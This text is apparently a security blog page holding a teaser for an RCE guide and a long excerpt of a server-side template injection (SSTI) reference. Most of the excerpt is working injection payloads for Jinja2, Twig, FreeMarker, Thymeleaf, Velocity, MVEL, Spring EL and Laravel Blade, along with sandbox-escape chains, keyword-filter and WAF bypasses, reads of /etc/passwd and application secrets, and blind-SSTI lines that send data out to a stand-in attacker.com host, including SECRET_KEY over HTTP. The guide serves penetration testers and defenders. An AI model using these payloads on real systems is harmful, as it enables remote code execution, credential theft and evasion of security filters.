Comprehensive RCE Guide

Comprehensive RCE Guide πŸ†• Updated September 12, 2026 β€” added the SharePoint BDC chain (CVE-2026-63520 + CVE-2026-55040), including why the two public gadget chains break signature-based detection. A practitioner’s reference for Remote Code Execution β€” vulnerability classes, exploitation primitives, language-specific chains, real-world CVEs, and detection/prevention. πŸ”₯ Latest Update: May 2, 2026 - Enhanced with 2026 critical CVEs including CVE-2025-53652 (Jenkins), CVE-2026-32191 (Microsoft Bing), CVE-2026-34197 (ActiveMQ), and modern command injection + expression language techniques. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 36 min Β· Carl Sampson

Comprehensive SSTI Guide

Comprehensive SSTI Guide πŸ†• Updated September 12, 2026 β€” added the Thymeleaf tab-character sandbox bypass (CVE-2026-40478) and the audit question that actually determines exposure. A practitioner’s reference for Server-Side Template Injection β€” template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices. Table of Contents Fundamentals Detection & Identification Template Engine Exploitation Framework-Specific Attacks Payload Development Advanced Exploitation Bypass Techniques Testing Methodology Secure Implementation Detection & Prevention CVE Reference 1. Fundamentals SSTI Attack Surface Template Context Risk Level Common Locations User Input Rendering Critical Email templates, reports, dynamic pages Configuration Files High Template-based configs, dynamic routing Error Messages Medium Custom error pages, debug output Log Messages Low Log formatting, audit trails Email Workflow Templates Critical Notification templates, marketing emails (Shopify Return Magic, Fides) Recipe/CMS Content Fields Critical User-editable content rendered by template engines (Tandoor Recipes, Alfresco) JMS/Message Headers High Apache Camel template override headers (CamelFreemarkerTemplate, CamelVelocityTemplate) Template Engine Landscape Engine Language Popularity Exploitation Difficulty Jinja2 Python Very High Medium Twig PHP High Medium FreeMarker Java High High Velocity Java Medium High Thymeleaf Java Medium Medium Smarty PHP Medium Low Mako Python Low Low Handlebars Node.js Very High Medium Pug (Jade) Node.js High Medium Go html/template Go Medium High (context-dependent) Go text/template Go Medium Medium Jelly Java Medium (ServiceNow) Medium MVEL Java Low Low Mustache Multi-language Medium High (logicless by design) Tornado Python Medium Medium 2. Detection & Identification Detection Methodology SSTI DETECTION FLOW: 1. Identify template injection points 2. Test mathematical expressions 3. Analyze error messages 4. Determine template engine 5. Craft engine-specific payloads 6. Test blind detection via time-based or OOB channels Basic Detection Payloads Test Case Payload Expected Result Mathematical ${7*7} 49 if vulnerable Mathematical {​{7*7}} 49 if vulnerable Mathematical <%=7*7%> 49 if vulnerable String Concatenation ${'a'+'b'} ab if vulnerable Function Call ${T(java.lang.System).getProperty('user.name')} Username if Spring EL Go Detection {​{ . }} Memory address of passed object if Go template Handlebars Detection {​{this}} [object Object] if Handlebars FreeMarker String ${"Hello " + "World"} Hello World if FreeMarker FreeMarker Array ${["one", "two", "three"][1]} two if FreeMarker FreeMarker Length ${"test"?length} 4 if FreeMarker FreeMarker Date ${.now?string("yyyy-MM-dd")} Current date if FreeMarker Jelly (ServiceNow) <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> 1337 in error message Thymeleaf Inline [[${7*7}]] 49 if Thymeleaf expression inlining Template Engine Fingerprinting IDENTIFICATION DECISION TREE: β”œβ”€β”€ {​{7*7}} = 49 β”‚ β”œβ”€β”€ {​{this}} = [object Object] β†’ Handlebars (Node.js) β”‚ β”œβ”€β”€ Jinja2 (Python) β”‚ β”œβ”€β”€ Twig (PHP) β”‚ └── Nunjucks (Node.js) β”œβ”€β”€ ${7*7} = 49 β”‚ β”œβ”€β”€ ${"test"?length} = 4 β†’ FreeMarker (Java) β”‚ β”œβ”€β”€ ${T(java.lang.Runtime)} works β†’ Spring EL (Java) β”‚ └── Velocity (Java) β”œβ”€β”€ <%=7*7%> = 49 β”‚ β”œβ”€β”€ ERB (Ruby) β”‚ └── ASP Classic β”œβ”€β”€ {7*7} = 49 β”‚ └── Smarty (PHP) β”œβ”€β”€ {​{ . }} = memory address β”‚ └── Go html/template or text/template β”œβ”€β”€ [[${7*7}]] = 49 β”‚ └── Thymeleaf (Java) expression inlining └── <g:evaluate>...</g:evaluate> executes └── Jelly (ServiceNow) Blind SSTI Detection Method Payload Example Verification Time-based (Jinja2) {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('sleep 10').read()}} Response delay Time-based (FreeMarker) <#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 10")} Response delay DNS Exfiltration {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup x.attacker.com').read()}} DNS logs HTTP Callback Jinja2 urllib.request.urlopen to attacker URL HTTP logs 3. Template Engine Exploitation Jinja2 (Python) Exploitation Attack Vector Payload Impact Basic RCE {​{config.__class__.__init__.__globals__['os'].popen('id').read()}} Command execution Subprocess {​{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}} Command execution File Read {​{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} File access Config Access {​{config.SECRET_KEY}} Sensitive data exposure Lipsum Shorthand {​{lipsum.__globals__}} Bypass length limits Cycler RCE {​{cycler.__init__.__globals__.os.popen('id').read()}} Shorter RCE payload Hex-encoded attr() {​{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} Filter bypass RCE (CVE-2025-23211) Warning class import {​% for s in ().__class__.__base__.__subclasses__() %}{​% if "warning" in s.__name__ %}{​{s()._module.__builtins__['__import__']('os').popen("env").read()}}{​% endif %}{​% endfor %} RCE via warning subclass (Fides advisory) Twig (PHP) Exploitation TWIG ATTACK PATTERNS: β”œβ”€β”€ Filter Abuse β”‚ β”œβ”€β”€ {​{_self.env.registerUndefinedFilterCallback("exec")}} β”‚ β”œβ”€β”€ {​{_self.env.getFilter("id")}} β”‚ └── {​{["id"]|filter("system")}} β”œβ”€β”€ Function Injection β”‚ β”œβ”€β”€ {​{_self.env.registerUndefinedFunction("exec")}} β”‚ └── {​{_self.env.getFunction("system")}} β”œβ”€β”€ Object Injection β”‚ β”œβ”€β”€ {​{app.request.query.get('cmd')|passthru}} β”‚ └── {​{dump(app)}} (information disclosure) └── Escape Handler Abuse (Grav CMS β€” GHSA-2m7x-c7px-hp58) β”œβ”€β”€ {​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} └── {​{ ['id'] | escape('system', 'system') }} (Redefine escape function via setEscaper to system(), bypasses sandbox when not enabled) FreeMarker (Java) Exploitation Technique Payload Description Object Creation <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} Command execution Static Method Call ${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()} Process creation File System Access <#assign fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")> File manipulation ?lower_abc Filter Bypass ${(6?lower_abc+18?lower_abc+...)?new()(9?lower_abc+4?lower_abc)} Reconstruct β€œfreemarker.template.utility.Execute” char-by-char to bypass keyword blocklists CamelContext Sandbox Escape <#assign cr=camelContext.getClassResolver()><#assign i=camelContext.getInjector()><#assign se=i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>${se.getEngineByName("js").eval("...")} RCE even with ClassResolver sandbox enabled (Apache Camel) CamelContext Language $camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class) Groovy expression via Camel context Alfresco Sandbox Bypass Exploit exposed objects in FreeMarker templates to bypass restrictions (CVE-2023-49964, incomplete fix for CVE-2020-12873) RCE in Alfresco CMS Handlebars (Node.js) Exploitation Technique Payload Description Prototype Pollution + AST Injection Pollute Object.prototype.type = 'Program' and Object.prototype.body with crafted AST containing RCE in NumberLiteral value Bypass parser validation, inject code directly into compiler Constructor Chain `{​{#with β€œs” as string toString Override + bind() Override Object.prototype.toString via defineProperty, use bind() to create function returning attacker payload, then invoke via Function constructor Full RCE without scope-defined functions (Shopify Return Magic) pendingContent Detection Pollute Object.prototype.pendingContent with test string Detect Handlebars engine in black-box with prototype pollution Pug (Node.js) Exploitation Technique Payload Description AST Injection via block Pollute Object.prototype.block = {"type":"Text","val":"<script>alert(origin)</script>"} XSS/content injection via prototype pollution Code Injection via line Pollute Object.prototype.block.type = "Code" with body containing RCE payload Command execution via AST manipulation Thymeleaf (Java) Exploitation THYMELEAF ATTACK PATTERNS: β”œβ”€β”€ Expression Preprocessing Double-Eval β”‚ β”œβ”€β”€ __${path}__ preprocesses user input, result evaluated as expression β”‚ β”œβ”€β”€ URL path injection: http://target/(${T(java.lang.Runtime).getRuntime().exec('calc')}) β”‚ └── Works on Jetty (allows {} in path), blocked on Tomcat (URL-encodes {}) β”œβ”€β”€ Spring Boot 3.3.4 Denylist Bypass (modzero research) β”‚ β”œβ”€β”€ Thymeleaf blocks T() for static class access and org.springframework.util.ReflectionUtils β”‚ β”œβ”€β”€ Bypass via org.apache.commons.lang3.reflect.MethodUtils (not on denylist) β”‚ β”œβ”€β”€ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") β”‚ β”‚ .invokeMethod( β”‚ β”‚ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") β”‚ β”‚ .invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"), β”‚ β”‚ "exec", "whoami") β”‚ └── Full payload reads command output via IOUtils + file write for non-blind RCE β”œβ”€β”€ CVE-2023-38286 (Spring Boot Admin) β”‚ β”œβ”€β”€ Bypass Thymeleaf blacklists via ReflectionUtils (older versions) β”‚ β”œβ”€β”€ th:with chaining: findMethod β†’ invokeMethod β†’ exec β”‚ └── Requires MailNotifier enabled + write access to env vars └── CVE-2022-46166 (Spring Boot Admin) └── RCE via variable coverage in notification templates Velocity (Java) Exploitation Technique Payload Description CamelContext RCE ${camelContext.class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("...")} RCE via JavaScript engine in Apache Camel Template Override Send CamelVelocityTemplate header to override default template Dynamic template injection via message headers Resource URI Override Send CamelVelocityResourceUri header pointing to file:///etc/passwd Arbitrary file disclosure MVEL (Java) Exploitation Technique Payload Description Direct RCE @{java.lang.Runtime.getRuntime().exec('id')} Direct runtime access ObjectFactory RCE @{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance("javax.script.ScriptEngineManager",null,false).getEngineByName('js').eval("...")} Via ScriptEngine Template Override Send CamelMvelTemplate header Apache Camel dynamic template Go Template Exploitation GO SSTI ATTACK PATTERNS: β”œβ”€β”€ Detection β”‚ └── {​{ . }} β€” prints memory address/object dump of passed struct β”œβ”€β”€ Data Leakage β”‚ β”œβ”€β”€ {​{ .Email }} / {​{ .Password }} β€” access struct fields β”‚ └── Leaks any exported field on the passed object β”œβ”€β”€ Method Invocation β”‚ β”œβ”€β”€ {​{ .MethodName "arg" }} β€” call exported methods on passed struct β”‚ └── Methods must be exported (capitalized) to be callable β”œβ”€β”€ Gin Framework Gadgets β”‚ └── {​{ .Writer.WriteString "<script>alert(1)</script>" }} β€” XSS via response writer β”œβ”€β”€ Echo Framework Gadgets β”‚ β”œβ”€β”€ {​{ .File "/etc/passwd" }} β€” arbitrary file read β”‚ β”œβ”€β”€ {​{ .Attachment "/etc/passwd" "passwd" }} β€” file read via attachment β”‚ β”œβ”€β”€ {​{ .Inline "/etc/passwd" "passwd" }} β€” file read inline β”‚ └── {​{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {​{ $x.Seek 1 0 }} {​{ .Stream 200 "text/plain" $x }} β€” file read with I/O control β”œβ”€β”€ Fiber Framework Gadgets β”‚ β”œβ”€β”€ {​{ .App.Shutdown }} β€” denial of service β”‚ └── {​{ .Response.SendFile "/etc/hostname" }} {​{ .Response.Body }} β€” file read via fasthttp.Response β”œβ”€β”€ Method Confusion (OnSecurity Research) β”‚ β”œβ”€β”€ If passed object type matches a method's receiver, call with custom params β”‚ β”œβ”€β”€ echo.Context.File("path") gadget for arbitrary file read β”‚ └── Gadget hunting: search imported modules for exported methods with dangerous behavior └── text/template vs html/template β”œβ”€β”€ text/template allows direct "call" for public functions β€” higher risk └── html/template restricts call β€” requires gadget chains Jelly (ServiceNow) Exploitation Technique Payload Description Template Injection Probe <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> Confirm injection via math result (1337) in error message DB Credential Theft Inject <g:evaluate> to read glide.db.properties via SecurelyAccess + getBufferedReader() Extract database connection strings Chained Exploitation CVE-2024-4879 (title injection) + CVE-2024-5217 (mitigation bypass) + CVE-2024-5178 (file filter bypass) Full RCE chain on ServiceNow Style Tag Bypass Embed Jelly tags inside <style> element in jvar_page_title parameter Bypass basic input validation 4. Framework-Specific Attacks Spring Framework (Java) Context Payload Impact Spring EL ${T(java.lang.Runtime).getRuntime().exec('id')} RCE SpEL Injection #{T(java.lang.System).getProperty('user.name')} Information disclosure Request Context ${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')} Environment access Thymeleaf Double-Eval '+${7*7}+' in Referer header with __${Referer}__ preprocessing RCE via preprocessing (modzero) MethodUtils Bypass "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod(...) Bypass Thymeleaf denylist in Spring Boot 3.3.4+ WebAsyncManager Header Exfil Access #ctx.getVariable("...WebAsyncManager...") to read request headers and write response Non-blind RCE without outbound connections Django (Python) DJANGO TEMPLATE ATTACKS: β”œβ”€β”€ Debug Information β”‚ β”œβ”€β”€ {​{settings.SECRET_KEY}} β”‚ β”œβ”€β”€ {​{settings.DATABASES}} β”‚ └── {​{settings.DEBUG}} β”œβ”€β”€ Object Traversal β”‚ β”œβ”€β”€ {​{request.META}} β”‚ β”œβ”€β”€ {​{request.user}} β”‚ └── {​{request.session}} └── Filter Abuse β”œβ”€β”€ Custom filters with dangerous functions └── Template tag injection Laravel (PHP) Attack Type Payload Result Blade RCE @php(system('id')) @endphp Command execution Variable Access {​{$app->make('config')->get('database.default')}} Configuration disclosure Helper Function {​{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}} Application introspection Apache Camel (Java) APACHE CAMEL SSTI (CVE-2020-11994): β”œβ”€β”€ Affected Components β”‚ β”œβ”€β”€ camel-freemarker (CamelFreemarkerTemplate header) β”‚ β”œβ”€β”€ camel-velocity (CamelVelocityTemplate header) β”‚ β”œβ”€β”€ camel-mvel (CamelMvelTemplate header) β”‚ └── camel-mustache (MustacheResourceUri header β€” file disclosure only) β”œβ”€β”€ Attack Pattern β”‚ β”œβ”€β”€ Override default template via message header injection β”‚ β”œβ”€β”€ Header source depends on consumer: JMS properties, HTTP headers, etc. β”‚ └── ResourceUri headers enable arbitrary file disclosure (file:///etc/passwd) β”œβ”€β”€ Sandbox Bypass β”‚ β”œβ”€β”€ camelContext object exposed in template context β”‚ β”œβ”€β”€ getInjector() + getClassResolver() β†’ instantiate arbitrary classes β”‚ └── resolveLanguage("groovy") β†’ evaluate arbitrary Groovy expressions └── Impact └── RCE + Arbitrary File Disclosure across all template components Grav CMS (PHP/Twig) Attack Type Payload Result setEscaper Abuse {​{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} then {​{ ['id'] | escape('system', 'system') }} RCE by redefining escape filter to system() Root Cause Twig sandbox not enabled; unrestricted access to extension classes via template context Arbitrary callable registration 5. Payload Development Payload Construction Strategy PAYLOAD DEVELOPMENT PROCESS: β”œβ”€β”€ Environment Discovery β”‚ β”œβ”€β”€ Available classes/modules β”‚ β”œβ”€β”€ Security restrictions β”‚ └── Execution context β”œβ”€β”€ Bypass Development β”‚ β”œβ”€β”€ Filter evasion β”‚ β”œβ”€β”€ Character restrictions β”‚ └── Length limitations β”œβ”€β”€ Payload Optimization β”‚ β”œβ”€β”€ Minimize detection β”‚ β”œβ”€β”€ Maximize impact β”‚ └── Ensure reliability └── Multi-Stage Delivery β”œβ”€β”€ Store payload in persistent objects (Jinja2 config object) β”œβ”€β”€ Retrieve and execute across separate requests └── Useful when injection point has size limits (email fields) Common Payload Patterns Goal Python/Jinja2 PHP/Twig Java/FreeMarker Node.js/Handlebars Go List Classes {​{''.__class__.__mro__[1].__subclasses__()}} {​{dump()}} <#list .data_model?keys as key>${key}</#list> {​{this}} {​{ . }} Execute Command {​{cycler.__init__.__globals__.os.popen('id').read()}} {​{_self.env.registerUndefinedFilterCallback("system")}} <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} Prototype pollution + AST injection N/A (gadget-dependent) Read File {​{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}} {​{include('/etc/passwd')}} <#assign file=...ObjectConstructor("java.io.File","/etc/passwd")> N/A {​{ .File "/etc/passwd" }} (Echo) Size-Limited Payload Technique (Jinja2) MULTI-REQUEST PAYLOAD STAGING: 1. Store payload in config object via short injection: {​{config.update(a=request.args.get('a'))}} with URL parameter: ?a=<long RCE payload> 2. Verify storage: {​{config.a}} 3. Execute stored payload: {​{''.__class__.__mro__[1].__subclasses__()...__globals__['os'].popen(config.a).read()}} Use case: SSTI in email fields with RFC-imposed size limits 6. Advanced Exploitation Blind SSTI Exploitation Detection Method Payload Verification Time-based {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}} Response delay DNS Exfiltration {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}} DNS logs HTTP Callback {​{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}} HTTP logs Sandbox Escape Techniques SANDBOX BYPASS METHODS: β”œβ”€β”€ Python/Jinja2 β”‚ β”œβ”€β”€ __builtins__ access via globals β”‚ β”œβ”€β”€ Class traversal to dangerous modules β”‚ β”œβ”€β”€ Import statement reconstruction β”‚ └── Warning subclass β†’ __builtins__['__import__'] chain β”œβ”€β”€ Java/FreeMarker β”‚ β”œβ”€β”€ ObjectConstructor for arbitrary class instantiation β”‚ β”œβ”€β”€ Static method calls via ?new() β”‚ β”œβ”€β”€ Reflection API abuse β”‚ β”œβ”€β”€ CamelContext.getInjector() + getClassResolver() (Apache Camel) β”‚ └── ScriptEngineManager for Groovy/JavaScript eval β”œβ”€β”€ Java/Thymeleaf β”‚ β”œβ”€β”€ Expression preprocessing (__...__) double-evaluation β”‚ β”œβ”€β”€ org.apache.commons.lang3.reflect.MethodUtils (bypass Spring Boot 3.3.4 denylist) β”‚ β”œβ”€β”€ "".class.forName() to load arbitrary classes β”‚ └── ReflectionUtils (older versions, now denylisted) β”œβ”€β”€ PHP/Twig β”‚ β”œβ”€β”€ Filter/function registration β”‚ β”œβ”€β”€ Object property access β”‚ β”œβ”€β”€ Include/eval function calls β”‚ └── setEscaper() to redefine escape function as system() (Grav CMS) └── Node.js/Handlebars β”œβ”€β”€ AST Injection via prototype pollution (bypass parser entirely) β”œβ”€β”€ Function constructor via this.constructor.constructor β”œβ”€β”€ Object.prototype.toString override + bind() for RCE └── Built-in helper abuse (with, blockHelperMissing) Prototype Pollution to SSTI (Node.js) PROTOTYPE POLLUTION β†’ SSTI CHAIN: β”œβ”€β”€ Handlebars β”‚ β”œβ”€β”€ Pollute Object.prototype.type = "Program" β”‚ β”œβ”€β”€ Pollute Object.prototype.body with AST containing RCE in NumberLiteral.value β”‚ β”œβ”€β”€ Template string bypasses parser (treated as pre-parsed AST) β”‚ └── Compiler executes injected code directly β”œβ”€β”€ Pug β”‚ β”œβ”€β”€ Pollute Object.prototype.block with {type:"Text", val:"<payload>"} β”‚ β”œβ”€β”€ When ast.type is "While", walkAST follows ast.block (uses prototype) β”‚ └── High reliability: any template referencing arguments triggers it └── Detection β”œβ”€β”€ Handlebars: Object.prototype.pendingContent = "<test>" β†’ appears in output └── Pug: Object.prototype.block = {type:"Text", val:"<test>"} β†’ appears in output 7. Bypass Techniques Filter Evasion Restriction Bypass Technique Example Keyword Blacklist String concatenation {​{'sy'+'stem'}} Character Filtering Unicode/Encoding {​{'\u0073\u0079\u0073\u0074\u0065\u006d'}} Length Limits Shortened payloads {​{lipsum.__globals__}} Quotes Blocked String methods {​{request.args.cmd|system}} Keyword Blacklist (FreeMarker) ?lower_abc encoding 6?lower_abc = β€œf”, reconstruct class names char-by-char Attribute Name Filtering Hex-encoded attr() |attr('\x5f\x5fclass\x5f\x5f') instead of .__class__ Size Limit Config object staging Store payload in config.a via one request, execute in another Thymeleaf Static Class Block commons-lang3 MethodUtils Use "".class.forName(...) to load non-denylisted reflection class ServiceNow Mitigation Style tag wrapper + Jelly xmlns Embed <g:evaluate> inside <style> tags WAF Bypass Strategies WAF EVASION TECHNIQUES: β”œβ”€β”€ Encoding Variations β”‚ β”œβ”€β”€ URL encoding (%7B%7B) β”‚ β”œβ”€β”€ Unicode encoding (\u007B\u007B) β”‚ └── HTML entity encoding (&lbrace;&lbrace;) β”œβ”€β”€ Structure Manipulation β”‚ β”œβ”€β”€ Whitespace insertion {​{ 7*7 }} β”‚ β”œβ”€β”€ Comment insertion {# comment #} β”‚ └── Nested expressions {​{7*{​{7}}}} β”œβ”€β”€ Payload Fragmentation β”‚ β”œβ”€β”€ Multi-step injection β”‚ β”œβ”€β”€ Context-dependent payloads β”‚ └── Request splitting β”œβ”€β”€ FreeMarker-Specific β”‚ β”œβ”€β”€ ?lower_abc / ?upper_abc character reconstruction β”‚ β”œβ”€β”€ 1.1?c[1] to generate dot character β”‚ └── Numeric built-in abuse to construct arbitrary strings └── Thymeleaf-Specific β”œβ”€β”€ Preprocessor double-evaluation via __${...}__ β”œβ”€β”€ @{} link expression parentheses to clear context └── Server-specific: Jetty allows {} in URL path, Tomcat blocks Thymeleaf sandbox bypass via tab character (CVE-2026-40478) CVSS 9.1, found by pentester Dawid Bakaj. Thymeleaf’s security sandbox β€” the thing that limits what SpEL expressions can do when they evaluate dynamic content β€” was bypassed using a tab character. Two defenses failed independently: a whitespace issue in the keyword check, and a narrow blocklist. The checks disagreed with the parser about what counts as a separator. Patched in 3.1.4. ...

April 10, 2026 Β· Updated September 12, 2026 Β· 18 min Β· Carl Sampson